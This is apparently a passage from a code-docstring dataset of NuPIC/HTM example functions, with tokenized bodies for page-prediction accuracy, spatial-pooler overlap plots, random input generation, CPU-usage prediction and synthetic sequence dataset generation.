reverse=True)[:top]<EOL>accuracy.append(<NUM_LIT:1> if pages[i + <NUM_LIT:1>] in list(zip(*predicted))[<NUM_LIT:0>] else <NUM_LIT:0>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return np.mean(accuracy)<EOL>", "docstring": "Compute prediction accuracy by checking if the next page in the sequence is\nwithin the top N predictions calculated by the model\nArgs:\n  model: HTM model\n  size: Sample size\n  top: top N predictions to use\n\nReturns: Probability the next page in the sequence is within the top N\n         predicted pages", "id": "f17417:m0"}
{"signature": "def readUserSession(datafile):", "body": "for line in datafile:<EOL><INDENT>pages = line.split()<EOL>total = len(pages)<EOL>if total < <NUM_LIT:2>:<EOL><INDENT>continue<EOL><DEDENT>if total > <NUM_LIT>:<EOL><INDENT>continue<EOL><DEDENT>return [PAGE_CATEGORIES[int(i) - <NUM_LIT:1>] for i in pages]<EOL><DEDENT>return []<EOL>", "docstring": "Reads the user session record from the file's cursor position\nArgs:\n  datafile: Data file whose cursor points at the beginning of the record\n\nReturns:\n  list of pages in the order clicked by the user", "id": "f17417:m1"}
{"signature": "def filter(perm):", "body": "if perm['<STR_LIT>'] != perm['<STR_LIT>']:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called for every possible permutation of the variables\n    in the permutations dict. It should return True for valid a combination of \n    permutation values and False for an invalid one. \n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value \n                  pairs chosen from permutations.", "id": "f17432:m0"}
{"signature": "def analyzeOverlaps(activeCoincsFile, encodingsFile, dataset):", "body": "lines = activeCoincsFile.readlines()<EOL>inputs = encodingsFile.readlines()<EOL>w = len(inputs[<NUM_LIT:0>].split('<STR_LIT:U+0020>'))-<NUM_LIT:1><EOL>patterns = set([])<EOL>encodings = set([])<EOL>coincs = []    <EOL>reUsedCoincs = []<EOL>firstLine = inputs[<NUM_LIT:0>].split('<STR_LIT:U+0020>')<EOL>size = int(firstLine.pop(<NUM_LIT:0>))<EOL>spOutput = np.zeros((len(lines),<NUM_LIT>))<EOL>inputBits = np.zeros((len(lines),w))<EOL>print('<STR_LIT>', size)<EOL>print('<STR_LIT>', len(lines), '<STR_LIT:\\n>')<EOL>print('<STR_LIT>', w)<EOL>count = <NUM_LIT:0><EOL>for x in range(len(lines)):<EOL><INDENT>inputSpace = []     <EOL>spBUout = [int(z) for z in lines[x].split('<STR_LIT:U+0020>')]  <EOL>spBUout.pop(<NUM_LIT:0>)         <EOL>temp = set(spBUout)<EOL>spOutput[x]=spBUout<EOL>input = [int(z) for z in inputs[x].split('<STR_LIT:U+0020>')]    <EOL>input.pop(<NUM_LIT:0>)   <EOL>tempInput = set(input)<EOL>inputBits[x]=input<EOL>for m in range(size):<EOL><INDENT>if m in tempInput:<EOL><INDENT>inputSpace.append(m)<EOL><DEDENT>else:<EOL><INDENT>inputSpace.append('<STR_LIT:|>')  <EOL><DEDENT><DEDENT>repeatedBits = tempInput.intersection(encodings)    <EOL>reUsed = temp.intersection(patterns)  <EOL>if len(reUsed)==<NUM_LIT:0>:<EOL><INDENT>coincs.append((count,temp,repeatedBits,inputSpace, tempInput))  <EOL><DEDENT>else:<EOL><INDENT>reUsedCoincs.append((count,temp,repeatedBits,inputSpace, tempInput))<EOL><DEDENT>patterns=patterns.union(temp)   <EOL>encodings = encodings.union(tempInput)<EOL>count +=<NUM_LIT:1><EOL><DEDENT>overlap = {}<EOL>overlapVal = <NUM_LIT:0><EOL>seen = []<EOL>seen = (printOverlaps(coincs, coincs, seen))<EOL>print(len(seen), '<STR_LIT>')<EOL>seen = printOverlaps(reUsedCoincs, coincs, seen)<EOL>Summ=[]<EOL>for z in coincs:<EOL><INDENT>c=<NUM_LIT:0><EOL>for y in reUsedCoincs:<EOL><INDENT>c += len(z[<NUM_LIT:1>].intersection(y[<NUM_LIT:1>]))<EOL><DEDENT>Summ.append(c)<EOL><DEDENT>print('<STR_LIT>', Summ)<EOL>for m in range(<NUM_LIT:3>):<EOL><INDENT>displayLimit = min(<NUM_LIT>, len(spOutput[m*<NUM_LIT:200>:]))<EOL>if displayLimit><NUM_LIT:0>:<EOL><INDENT>drawFile(dataset, np.zeros([len(inputBits[:(m+<NUM_LIT:1>)*displayLimit]),len(inputBits[:(m+<NUM_LIT:1>)*displayLimit])]), inputBits[:(m+<NUM_LIT:1>)*displayLimit], spOutput[:(m+<NUM_LIT:1>)*displayLimit], w, m+<NUM_LIT:1>)<EOL><DEDENT>else: <EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>pyl.show()<EOL>", "docstring": "Mirror Image Visualization: Shows the encoding space juxtaposed against the\n    coincidence space. The encoding space is the bottom-up sensory encoding and\n    the coincidence space depicts the corresponding activation of coincidences in\n    the SP. Hence, the mirror image visualization is a visual depiction of the\n    mapping of SP cells to the input representations.\n\n    Note:\n    * The files spBUOut and sensorBUOut are assumed to be in the output format\n    used for LPF experiment outputs.\n    * BU outputs for some sample datasets are provided. Specify the name of the\n    dataset as an option while running this script.", "id": "f17441:m0"}
{"signature": "def drawFile(dataset, matrix, patterns, cells, w, fnum):", "body": "score=<NUM_LIT:0><EOL>count = <NUM_LIT:0><EOL>assert len(patterns)==len(cells)<EOL>for p in range(len(patterns)-<NUM_LIT:1>):<EOL><INDENT>matrix[p+<NUM_LIT:1>:,p] = [len(set(patterns[p]).intersection(set(q)))*<NUM_LIT:100>/w for q in patterns[p+<NUM_LIT:1>:]]<EOL>matrix[p,p+<NUM_LIT:1>:] = [len(set(cells[p]).intersection(set(r)))*<NUM_LIT:5>/<NUM_LIT:2> for r in cells[p+<NUM_LIT:1>:]]<EOL>score += sum(abs(np.array(matrix[p+<NUM_LIT:1>:,p])-np.array(matrix[p,p+<NUM_LIT:1>:])))<EOL>count += len(matrix[p+<NUM_LIT:1>:,p])<EOL><DEDENT>print('<STR_LIT>', score/count)<EOL>fig = pyl.figure(figsize = (<NUM_LIT:10>,<NUM_LIT:10>), num = fnum)<EOL>pyl.matshow(matrix, fignum = fnum)<EOL>pyl.colorbar()<EOL>pyl.title('<STR_LIT>', verticalalignment='<STR_LIT>', fontsize=<NUM_LIT:12>)<EOL>pyl.xlabel('<STR_LIT>'+dataset, fontsize=<NUM_LIT>)<EOL>pyl.ylabel('<STR_LIT>', fontsize=<NUM_LIT:12>)<EOL>", "docstring": "The similarity of two patterns in the bit-encoding space is displayed alongside\n    their similarity in the sp-coinc space.", "id": "f17441:m1"}
{"signature": "def printOverlaps(comparedTo, coincs, seen):", "body": "inputOverlap = <NUM_LIT:0><EOL>cellOverlap = <NUM_LIT:0><EOL>for y in comparedTo:<EOL><INDENT>closestInputs = []<EOL>closestCells = []<EOL>if len(seen)><NUM_LIT:0>:<EOL><INDENT>inputOverlap = max([len(seen[m][<NUM_LIT:1>].intersection(y[<NUM_LIT:4>])) for m in range(len(seen))])<EOL>cellOverlap = max([len(seen[m][<NUM_LIT:0>].intersection(y[<NUM_LIT:1>])) for m in range(len(seen))])<EOL>for m in range( len(seen) ):<EOL><INDENT>if len(seen[m][<NUM_LIT:1>].intersection(y[<NUM_LIT:4>]))==inputOverlap:<EOL><INDENT>closestInputs.append(seen[m][<NUM_LIT:2>])<EOL><DEDENT>if len(seen[m][<NUM_LIT:0>].intersection(y[<NUM_LIT:1>]))==cellOverlap:<EOL><INDENT>closestCells.append(seen[m][<NUM_LIT:2>])<EOL><DEDENT><DEDENT><DEDENT>seen.append((y[<NUM_LIT:1>], y[<NUM_LIT:4>], y[<NUM_LIT:0>]))<EOL>print('<STR_LIT>',y[<NUM_LIT:0>]+<NUM_LIT:1>,'<STR_LIT::>','<STR_LIT:U+0020>'.join(str(len(z[<NUM_LIT:1>].intersection(y[<NUM_LIT:1>]))).rjust(<NUM_LIT:2>) for z in coincs),'<STR_LIT>', inputOverlap, '<STR_LIT:;>', len(closestInputs), '<STR_LIT>','<STR_LIT:U+002C>'.join(str(m+<NUM_LIT:1>) for m in closestInputs).ljust(<NUM_LIT:15>),'<STR_LIT>', cellOverlap, '<STR_LIT:;>', len(closestCells), '<STR_LIT>','<STR_LIT:U+002C>'.join(str(m+<NUM_LIT:1>) for m in closestCells))<EOL><DEDENT>return seen<EOL>", "docstring": "Compare the results and return True if success, False if failure\n\n    Parameters:\n    --------------------------------------------------------------------\n    coincs:               Which cells are we comparing?\n    comparedTo:           The set of 40 cells we being compared to (they have no overlap with seen)\n    seen:                 Which of the cells we are comparing to have already been encountered.\n                          This helps glue together the unique and reused coincs", "id": "f17441:m2"}
{"signature": "def generatePlot(outputs, origData):", "body": "PLOT_PRECISION = <NUM_LIT:100><EOL>distribMatrix = np.zeros((PLOT_PRECISION+<NUM_LIT:1>,PLOT_PRECISION+<NUM_LIT:1>))<EOL>outputSize = len(outputs)<EOL>for i in range(<NUM_LIT:0>,outputSize):<EOL><INDENT>for j in range(i+<NUM_LIT:1>,outputSize):<EOL><INDENT>in1 = outputs[i]<EOL>in2 = outputs[j]<EOL>dist = (abs(in1-in2) > <NUM_LIT:0.1>)<EOL>intDist = int(dist.sum()/<NUM_LIT:2>+<NUM_LIT:0.1>)<EOL>orig1 = origData[i]<EOL>orig2 = origData[j]<EOL>origDist = (abs(orig1-orig2) > <NUM_LIT:0.1>)<EOL>intOrigDist = int(origDist.sum()/<NUM_LIT:2>+<NUM_LIT:0.1>)<EOL>if intDist < <NUM_LIT:2> and intOrigDist > <NUM_LIT:10>:<EOL><INDENT>print('<STR_LIT>' % (i, j, intDist))<EOL>print('<STR_LIT>' % intOrigDist)<EOL><DEDENT>x = int(PLOT_PRECISION*intDist/<NUM_LIT>)<EOL>y = int(PLOT_PRECISION*intOrigDist/<NUM_LIT>)<EOL>if distribMatrix[x, y] < <NUM_LIT:0.1>:<EOL><INDENT>distribMatrix[x, y] = <NUM_LIT:3><EOL><DEDENT>else:<EOL><INDENT>if distribMatrix[x, y] < <NUM_LIT:10>:<EOL><INDENT>distribMatrix[x, y] += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>distribMatrix[<NUM_LIT:4>, <NUM_LIT:50>] = <NUM_LIT:3><EOL>distribMatrix[<NUM_LIT:4>, <NUM_LIT>] = <NUM_LIT:4><EOL>distribMatrix[<NUM_LIT:4>, <NUM_LIT>] = <NUM_LIT:5><EOL>distribMatrix[<NUM_LIT:4>, <NUM_LIT>] = <NUM_LIT:6><EOL>distribMatrix[<NUM_LIT:4>, <NUM_LIT>] = <NUM_LIT:7><EOL>distribMatrix[<NUM_LIT:4>, <NUM_LIT>] = <NUM_LIT:8><EOL>distribMatrix[<NUM_LIT:4>, <NUM_LIT>] = <NUM_LIT:9><EOL>distribMatrix[<NUM_LIT:4>, <NUM_LIT:64>] = <NUM_LIT:10><EOL>return distribMatrix<EOL>", "docstring": "Generates a table where each cell represent a frequency of pairs\n    as described below.\n    x coordinate is the % difference between input records (origData list),\n    y coordinate is the % difference between corresponding output records.", "id": "f17442:m0"}
{"signature": "def generateRandomInput(numRecords, elemSize = <NUM_LIT>, numSet = <NUM_LIT>):", "body": "inputs = []<EOL>for _ in range(numRecords):<EOL><INDENT>input = np.zeros(elemSize, dtype=realDType)<EOL>for _ in range(<NUM_LIT:0>,numSet):<EOL><INDENT>ind = np.random.random_integers(<NUM_LIT:0>, elemSize-<NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>input[ind] = <NUM_LIT:1><EOL><DEDENT>while abs(input.sum() - numSet) > <NUM_LIT:0.1>:<EOL><INDENT>ind = np.random.random_integers(<NUM_LIT:0>, elemSize-<NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>input[ind] = <NUM_LIT:1><EOL><DEDENT>inputs.append(input)<EOL><DEDENT>return inputs<EOL>", "docstring": "Generates a set of input record\n\n    Params:\n            numRecords - how many records to generate\n            elemSize - the size of each record (num 0s or 1s)\n            numSet - how many 1s in each record\n\n    Returns: a list of inputs", "id": "f17442:m1"}
{"signature": "def appendInputWithSimilarValues(inputs):", "body": "numInputs = len(inputs)<EOL>for i in range(numInputs):<EOL><INDENT>input = inputs[i]<EOL>for j in range(len(input)-<NUM_LIT:1>):<EOL><INDENT>if input[j] == <NUM_LIT:1> and input[j+<NUM_LIT:1>] == <NUM_LIT:0>:<EOL><INDENT>newInput = copy.deepcopy(input)<EOL>newInput[j] = <NUM_LIT:0><EOL>newInput[j+<NUM_LIT:1>] = <NUM_LIT:1><EOL>inputs.append(newInput)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Creates an 'one-off' record for each record in the inputs. Appends new\n    records to the same inputs list.", "id": "f17442:m2"}
{"signature": "def appendInputWithNSimilarValues(inputs, numNear = <NUM_LIT:10>):", "body": "numInputs = len(inputs)<EOL>skipOne = False<EOL>for i in range(numInputs):<EOL><INDENT>input = inputs[i]<EOL>numChanged = <NUM_LIT:0><EOL>newInput = copy.deepcopy(input)<EOL>for j in range(len(input)-<NUM_LIT:1>):<EOL><INDENT>if skipOne:<EOL><INDENT>skipOne = False<EOL>continue<EOL><DEDENT>if input[j] == <NUM_LIT:1> and input[j+<NUM_LIT:1>] == <NUM_LIT:0>:<EOL><INDENT>newInput[j] = <NUM_LIT:0><EOL>newInput[j+<NUM_LIT:1>] = <NUM_LIT:1><EOL>inputs.append(newInput)<EOL>newInput = copy.deepcopy(newInput)<EOL>numChanged += <NUM_LIT:1><EOL>skipOne = True<EOL>if numChanged == numNear:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Creates a neighboring record for each record in the inputs and adds\n    new records at the end of the inputs list", "id": "f17442:m3"}
{"signature": "def modifyBits(inputVal, maxChanges):", "body": "changes = np.random.random_integers(<NUM_LIT:0>, maxChanges, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>if changes == <NUM_LIT:0>:<EOL><INDENT>return inputVal<EOL><DEDENT>inputWidth = len(inputVal)<EOL>whatToChange = np.random.random_integers(<NUM_LIT:0>, <NUM_LIT>, changes)<EOL>runningIndex = -<NUM_LIT:1><EOL>numModsDone = <NUM_LIT:0><EOL>for i in range(inputWidth):<EOL><INDENT>if numModsDone >= changes:<EOL><INDENT>break<EOL><DEDENT>if inputVal[i] == <NUM_LIT:1>:<EOL><INDENT>runningIndex += <NUM_LIT:1><EOL>if runningIndex in whatToChange:<EOL><INDENT>if i != <NUM_LIT:0> and inputVal[i-<NUM_LIT:1>] == <NUM_LIT:0>:<EOL><INDENT>inputVal[i-<NUM_LIT:1>] = <NUM_LIT:1><EOL>inputVal[i] = <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT><DEDENT>return inputVal<EOL>", "docstring": "Modifies up to maxChanges number of bits in the inputVal", "id": "f17442:m4"}
{"signature": "def getRandomWithMods(inputSpace, maxChanges):", "body": "size = len(inputSpace)<EOL>ind = np.random.random_integers(<NUM_LIT:0>, size-<NUM_LIT:1>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>value = copy.deepcopy(inputSpace[ind])<EOL>if maxChanges == <NUM_LIT:0>:<EOL><INDENT>return value<EOL><DEDENT>return modifyBits(value, maxChanges)<EOL>", "docstring": "Returns a random selection from the inputSpace with randomly modified\n    up to maxChanges number of bits.", "id": "f17442:m5"}
{"signature": "def printMatrix(inputs, spOutput):", "body": "from pylab import matplotlib as mat<EOL>w=len(np.nonzero(inputs[<NUM_LIT:0>])[<NUM_LIT:0>])<EOL>numActive=len(np.nonzero(spOutput[<NUM_LIT:0>])[<NUM_LIT:0>])<EOL>matrix = np.zeros([<NUM_LIT:2>*w+<NUM_LIT:1>,<NUM_LIT:2>*numActive+<NUM_LIT:1>])<EOL>for x in xrange(len(inputs)):<EOL><INDENT>i = [_hammingDistance(inputs[x], z) for z in inputs[x:]]<EOL>j = [_hammingDistance(spOutput[x], a) for a in spOutput[x:]]<EOL>for p, q in zip(i,j):<EOL><INDENT>matrix[p,q]+=<NUM_LIT:1><EOL><DEDENT>for y in xrange(len(matrix))  :<EOL><INDENT>matrix[y]=[max(<NUM_LIT:10>*x, <NUM_LIT:100>) if (x<<NUM_LIT:100> and x><NUM_LIT:0>) else x for x in matrix[y]]<EOL><DEDENT><DEDENT>cdict = {'<STR_LIT>':((<NUM_LIT:0.0>,<NUM_LIT:0.0>,<NUM_LIT:0.0>),(<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0.5>),(<NUM_LIT>,<NUM_LIT:1.0>,<NUM_LIT>),(<NUM_LIT:1.0>,<NUM_LIT:1.0>,<NUM_LIT:1.0>)),'<STR_LIT>': ((<NUM_LIT:0.0>,<NUM_LIT:0.0>,<NUM_LIT:0.0>),(<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0.5>),(<NUM_LIT>,<NUM_LIT:1.0>,<NUM_LIT:0.0>),(<NUM_LIT:1.0>,<NUM_LIT:1.0>,<NUM_LIT:1.0>)),'<STR_LIT>': ((<NUM_LIT:0.0>,<NUM_LIT:0.0>,<NUM_LIT:0.0>),(<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0.5>),(<NUM_LIT>,<NUM_LIT:1.0>,<NUM_LIT:0.0>),(<NUM_LIT:1.0>,<NUM_LIT:0.5>,<NUM_LIT:1.0>))}<EOL>my_cmap = mat.colors.LinearSegmentedColormap('<STR_LIT>',cdict,<NUM_LIT>)<EOL>pyl=mat.pyplot<EOL>pyl.matshow(matrix, cmap = my_cmap)<EOL>pyl.colorbar()<EOL>pyl.ylabel('<STR_LIT>') <EOL>pyl.xlabel('<STR_LIT>')<EOL>pyl.title('<STR_LIT>')<EOL>pyl.show()<EOL>", "docstring": "(i,j)th cell of the diff matrix will have the number of inputs for which the input and output\n    pattern differ by i bits and the cells activated differ at j places.\n    Parameters:\n    --------------------------------------------------------------------\n    inputs:                the input encodings\n    spOutput:              the coincidences activated in response to each input", "id": "f17443:m0"}
{"signature": "def _hammingDistance(s1, s2):", "body": "return sum(abs(s1-s2))<EOL>", "docstring": "Hamming distance between two numpy arrays s1 and s2", "id": "f17443:m1"}
{"signature": "def createModel(modelParams):", "body": "model = ModelFactory.create(modelParams)<EOL>model.enableInference({\"<STR_LIT>\": \"<STR_LIT>\"})<EOL>return model<EOL>", "docstring": "Given a model params dictionary, create a CLA Model. Automatically enables\ninference for kw_energy_consumption.\n:param modelParams: Model params dict\n:return: OPF Model object", "id": "f17447:m0"}
{"signature": "def getModelParamsFromName(gymName):", "body": "importName = \"<STR_LIT>\" % (<EOL>gymName.replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:_>\").replace(\"<STR_LIT:->\", \"<STR_LIT:_>\")<EOL>)<EOL>print(\"<STR_LIT>\" % importName)<EOL>try:<EOL><INDENT>importedModelParams = importlib.import_module(importName).MODEL_PARAMS<EOL><DEDENT>except ImportError:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>% gymName)<EOL><DEDENT>return importedModelParams<EOL>", "docstring": "Given a gym name, assumes a matching model params python module exists within\nthe model_params directory and attempts to import it.\n:param gymName: Gym name, used to guess the model params module name.\n:return: OPF Model params dictionary", "id": "f17447:m1"}
{"signature": "def runIoThroughNupic(inputData, model, gymName, plot):", "body": "inputFile = open(inputData, \"<STR_LIT:rb>\")<EOL>csvReader = csv.reader(inputFile)<EOL>next(csvReader)<EOL>next(csvReader)<EOL>next(csvReader)<EOL>shifter = InferenceShifter()<EOL>if plot:<EOL><INDENT>output = nupic_anomaly_output.NuPICPlotOutput(gymName)<EOL><DEDENT>else:<EOL><INDENT>output = nupic_anomaly_output.NuPICFileOutput(gymName)<EOL><DEDENT>counter = <NUM_LIT:0><EOL>for row in csvReader:<EOL><INDENT>counter += <NUM_LIT:1><EOL>if (counter % <NUM_LIT:100> == <NUM_LIT:0>):<EOL><INDENT>print(\"<STR_LIT>\" % counter)<EOL><DEDENT>timestamp = datetime.datetime.strptime(row[<NUM_LIT:0>], DATE_FORMAT)<EOL>consumption = float(row[<NUM_LIT:1>])<EOL>result = model.run({<EOL>\"<STR_LIT>\": timestamp,<EOL>\"<STR_LIT>\": consumption<EOL>})<EOL>if plot:<EOL><INDENT>result = shifter.shift(result)<EOL><DEDENT>prediction = result.inferences[\"<STR_LIT>\"][<NUM_LIT:1>]<EOL>anomalyScore = result.inferences[\"<STR_LIT>\"]<EOL>output.write(timestamp, consumption, prediction, anomalyScore)<EOL><DEDENT>inputFile.close()<EOL>output.close()<EOL>", "docstring": "Handles looping over the input data and passing each row into the given model\nobject, as well as extracting the result object and passing it into an output\nhandler.\n:param inputData: file path to input data CSV\n:param model: OPF Model object\n:param gymName: Gym name, used for output handler naming\n:param plot: Whether to use matplotlib or not. If false, uses file output.", "id": "f17447:m2"}
{"signature": "def runModel(gymName, plot=False):", "body": "print(\"<STR_LIT>\" % gymName)<EOL>model = createModel(getModelParamsFromName(gymName))<EOL>inputData = \"<STR_LIT>\" % (DATA_DIR, gymName.replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:_>\"))<EOL>runIoThroughNupic(inputData, model, gymName, plot)<EOL>", "docstring": "Assumes the gynName corresponds to both a like-named model_params file in the\nmodel_params directory, and that the data exists in a like-named CSV file in\nthe current directory.\n:param gymName: Important for finding model params and input CSV file\n:param plot: Plot in matplotlib? Don't use this unless matplotlib is\ninstalled.", "id": "f17447:m3"}
{"signature": "def refreshGUI(self):", "body": "plt.pause(<NUM_LIT>)<EOL>", "docstring": "Give plot a pause, so data is drawn and GUI's event loop can run.", "id": "f17452:c2:m3"}
{"signature": "def _setRandomEncoderResolution(minResolution=<NUM_LIT>):", "body": "encoder = (<EOL>model_params.MODEL_PARAMS[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT:value>\"]<EOL>)<EOL>if encoder[\"<STR_LIT:type>\"] == \"<STR_LIT>\":<EOL><INDENT>rangePadding = abs(_INPUT_MAX - _INPUT_MIN) * <NUM_LIT><EOL>minValue = _INPUT_MIN - rangePadding<EOL>maxValue = _INPUT_MAX + rangePadding<EOL>resolution = max(minResolution,<EOL>(maxValue - minValue) / encoder.pop(\"<STR_LIT>\")<EOL>)<EOL>encoder[\"<STR_LIT>\"] = resolution<EOL><DEDENT>", "docstring": "Given model params, figure out the correct resolution for the\nRandomDistributed encoder. Modifies params in place.", "id": "f17459:m0"}
{"signature": "def runCPU():", "body": "<EOL>model = ModelFactory.create(model_params.MODEL_PARAMS)<EOL>model.enableInference({'<STR_LIT>': '<STR_LIT>'})<EOL>shifter = InferenceShifter()<EOL>actHistory = deque([<NUM_LIT:0.0>] * WINDOW, maxlen=<NUM_LIT>)<EOL>predHistory = deque([<NUM_LIT:0.0>] * WINDOW, maxlen=<NUM_LIT>)<EOL>actline, = plt.plot(range(WINDOW), actHistory)<EOL>predline, = plt.plot(range(WINDOW), predHistory)<EOL>actline.axes.set_ylim(<NUM_LIT:0>, <NUM_LIT:100>)<EOL>predline.axes.set_ylim(<NUM_LIT:0>, <NUM_LIT:100>)<EOL>while True:<EOL><INDENT>s = time.time()<EOL>cpu = psutil.cpu_percent()<EOL>modelInput = {'<STR_LIT>': cpu}<EOL>result = shifter.shift(model.run(modelInput))<EOL>inference = result.inferences['<STR_LIT>'][<NUM_LIT:5>]<EOL>if inference is not None:<EOL><INDENT>actHistory.append(result.rawInput['<STR_LIT>'])<EOL>predHistory.append(inference)<EOL><DEDENT>actline.set_ydata(actHistory)  <EOL>predline.set_ydata(predHistory)  <EOL>plt.draw()<EOL>plt.legend( ('<STR_LIT>','<STR_LIT>') )<EOL>try:<EOL><INDENT>plt.pause(SECONDS_PER_STEP)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Poll CPU usage, make predictions, and plot the results. Runs forever.", "id": "f17462:m0"}
{"signature": "def _generateCategory(filename=\"<STR_LIT>\", numSequences=<NUM_LIT:2>, elementsPerSeq=<NUM_LIT:1>, <EOL>numRepeats=<NUM_LIT:10>, resets=False):", "body": "<EOL>scriptDir = os.path.dirname(__file__)<EOL>pathname = os.path.join(scriptDir, '<STR_LIT>', filename)<EOL>print(\"<STR_LIT>\" % (pathname))<EOL>fields = [('<STR_LIT>', '<STR_LIT:int>', '<STR_LIT:R>'), ('<STR_LIT>', '<STR_LIT:int>', '<STR_LIT:C>'),<EOL>('<STR_LIT>', '<STR_LIT:string>', '<STR_LIT>')]  <EOL>outFile = FileRecordStream(pathname, write=True, fields=fields)<EOL>sequences = []<EOL>for i in range(numSequences):<EOL><INDENT>seq = [x for x in range(i*elementsPerSeq, (i+<NUM_LIT:1>)*elementsPerSeq)]<EOL>sequences.append(seq)<EOL><DEDENT>seqIdxs = []<EOL>for i in range(numRepeats):<EOL><INDENT>seqIdxs += list(range(numSequences))<EOL><DEDENT>random.shuffle(seqIdxs)<EOL>for seqIdx in seqIdxs:<EOL><INDENT>reset = int(resets)<EOL>seq = sequences[seqIdx]<EOL>for x in seq:<EOL><INDENT>outFile.appendRecord([reset, str(seqIdx), str(x)])<EOL>reset = <NUM_LIT:0><EOL><DEDENT><DEDENT>outFile.close()<EOL>", "docstring": "Generate a simple dataset. This contains a bunch of non-overlapping\n    sequences. \n\n    Parameters:\n    ----------------------------------------------------\n    filename:       name of the file to produce, including extension. It will\n                    be created in a 'datasets' sub-directory within the \n                    directory containing this script. \n    numSequences:   how many sequences to generate\n    elementsPerSeq: length of each sequence\n    numRepeats:     how many times to repeat each sequence in the output \n    resets:         if True, turn on reset at start of each sequence", "id": "f17465:m0"}
{"signature": "def _generateScalar(filename=\"<STR_LIT>\", numSequences=<NUM_LIT:2>, elementsPerSeq=<NUM_LIT:1>, <EOL>numRepeats=<NUM_LIT:10>, stepSize=<NUM_LIT:0.1>, resets=False):", "body": "<EOL>scriptDir = os.path.dirname(__file__)<EOL>pathname = os.path.join(scriptDir, '<STR_LIT>', filename)<EOL>print(\"<STR_LIT>\" % (pathname))<EOL>fields = [('<STR_LIT>', '<STR_LIT:int>', '<STR_LIT:R>'), ('<STR_LIT>', '<STR_LIT:int>', '<STR_LIT:C>'),<EOL>('<STR_LIT>', '<STR_LIT:float>', '<STR_LIT>')]  <EOL>outFile = FileRecordStream(pathname, write=True, fields=fields)<EOL>sequences = []<EOL>for i in range(numSequences):<EOL><INDENT>seq = [x for x in range(i*elementsPerSeq, (i+<NUM_LIT:1>)*elementsPerSeq)]<EOL>sequences.append(seq)<EOL><DEDENT>seqIdxs = []<EOL>for i in range(numRepeats):<EOL><INDENT>seqIdxs += list(range(numSequences))<EOL><DEDENT>random.shuffle(seqIdxs)<EOL>for seqIdx in seqIdxs:<EOL><INDENT>reset = int(resets)<EOL>seq = sequences[seqIdx]<EOL>for x in seq:<EOL><INDENT>outFile.appendRecord([reset, str(seqIdx), x*stepSize])<EOL>reset = <NUM_LIT:0><EOL><DEDENT><DEDENT>outFile.close()<EOL>", "docstring": "Generate a simple dataset. This contains a bunch of non-overlapping\n    sequences of scalar values. \n\n    Parameters:\n    ----------------------------------------------------\n    filename:       name of the file to produce, including extension. It will\n                    be created in a 'datasets' sub-directory within the \n                    directory containing this script. \n    numSequences:   how many sequences to generate\n    elementsPerSeq: length of each sequence\n    numRepeats:     how many times to repeat each sequence in the output\n    stepSize:       how far apart each scalar is \n    resets:         if True, turn on reset at start of each sequence", "id": "f17465:m1"}
{"signature": "def _generateOverlapping(filename=\"<STR_LIT>\", numSequences=<NUM_LIT:2>, elementsPerSeq=<NUM_LIT:3>, <EOL>numRepeats=<NUM_LIT:10>, hub=[<NUM_LIT:0>,<NUM_LIT:1>], hubOffset=<NUM_LIT:1>, resets=False):", "body": "<EOL>assert (hubOffset + len(hub) <= elementsPerSeq)<EOL>scriptDir = os.path.dirname(__file__)<EOL>pathname = os.path.join(scriptDir, '<STR_LIT>', filename)<EOL>print(\"<STR_LIT>\" % (pathname))<EOL>fields = [('<STR_LIT>', '<STR_LIT:int>', '<STR_LIT:R>'), ('<STR_LIT>', '<STR_LIT:int>', '<STR_LIT:C>'),<EOL>('<STR_LIT>', '<STR_LIT:string>', '<STR_LIT>')]  <EOL>outFile = FileRecordStream(pathname, write=True, fields=fields)<EOL>sequences = []<EOL>nextElemIdx = max(hub)+<NUM_LIT:1><EOL>for _ in range(numSequences):<EOL><INDENT>seq = []<EOL>for j in range(hubOffset):<EOL><INDENT>seq.append(nextElemIdx)<EOL>nextElemIdx += <NUM_LIT:1><EOL><DEDENT>for j in hub:<EOL><INDENT>seq.append(j)<EOL><DEDENT>j = hubOffset + len(hub)<EOL>while j < elementsPerSeq:<EOL><INDENT>seq.append(nextElemIdx)<EOL>nextElemIdx += <NUM_LIT:1><EOL>j += <NUM_LIT:1><EOL><DEDENT>sequences.append(seq)<EOL><DEDENT>seqIdxs = []<EOL>for _ in range(numRepeats):<EOL><INDENT>seqIdxs += list(range(numSequences))<EOL><DEDENT>random.shuffle(seqIdxs)<EOL>for seqIdx in seqIdxs:<EOL><INDENT>reset = int(resets)<EOL>seq = sequences[seqIdx]<EOL>for (x) in seq:<EOL><INDENT>outFile.appendRecord([reset, str(seqIdx), str(x)])<EOL>reset = <NUM_LIT:0><EOL><DEDENT><DEDENT>outFile.close()<EOL>", "docstring": "Generate a temporal dataset containing sequences that overlap one or more\n    elements with other sequences. \n\n    Parameters:\n    ----------------------------------------------------\n    filename:       name of the file to produce, including extension. It will\n                    be created in a 'datasets' sub-directory within the \n                    directory containing this script. \n    numSequences:   how many sequences to generate\n    elementsPerSeq: length of each sequence\n    numRepeats:     how many times to repeat each sequence in the output \n    hub:            sub-sequence to place within each other sequence \n    hubOffset:      where, within each sequence, to place the hub\n    resets:         if True, turn on reset at start of each sequence", "id": "f17465:m2"}
